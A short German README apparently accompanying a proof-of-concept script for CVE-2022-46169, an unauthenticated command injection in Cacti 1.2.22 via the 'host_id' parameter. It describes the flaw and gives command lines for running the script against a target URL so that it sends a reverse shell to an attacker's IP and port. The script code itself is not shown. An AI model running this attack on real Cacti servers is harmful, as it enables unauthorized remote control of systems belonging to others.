
Proof-of-Concept-Exploit für CVE-2022-46169, der eine nicht authentifizierte Remote-Codeausführung durch Befehlsinjektion in Cacti 1.2.22 ermöglicht.
Dies ist ein Proof-of-Concept-Skript (POC) für die Sicherheitslücke CVE-2022-46169, die Cacti Version 1.2.22 betrifft.
Die Sicherheitslücke CVE-2022-46169 ermöglicht eine nicht authentifizierte Befehlsinjektion in Cacti-Versionen bis einschließlich 1.2.22, um eine nicht authentifizierte Remote-Codeausführung als Benutzer www-data zu erreichen. Die Sicherheitslücke wird durch eine unzureichende Validierung von Benutzereingaben im Parameter "host_id" der Datei "remote_agent.php" verursacht.
python CVE-2022-46169.py --url <TARGET_URL> --ip <YOUR_IP> --port <YOUR_PORT>
Ersetzen Sie <TARGET_URL> durch die URL der Ziel-Cacti-Installation, <YOUR_IP> durch die IP-Adresse des Rechners, auf dem Sie die Reverse-Shell empfangen möchten, und <YOUR_PORT> durch die Portnummer, auf der Sie die Reverse-Shell empfangen möchten.
Beispiel:
python CVE-2022-46169.py --url http://10.10.11.211 --ip 10.10.14.5 --port 1337
Dieses POC-Skript dient nur zu Bildungszwecken. Nutzung auf eigene Gefahr. Der Autor dieses Skripts ist nicht verantwortlich für Schäden, die durch die Verwendung dieses Skripts entstehen. Referenzen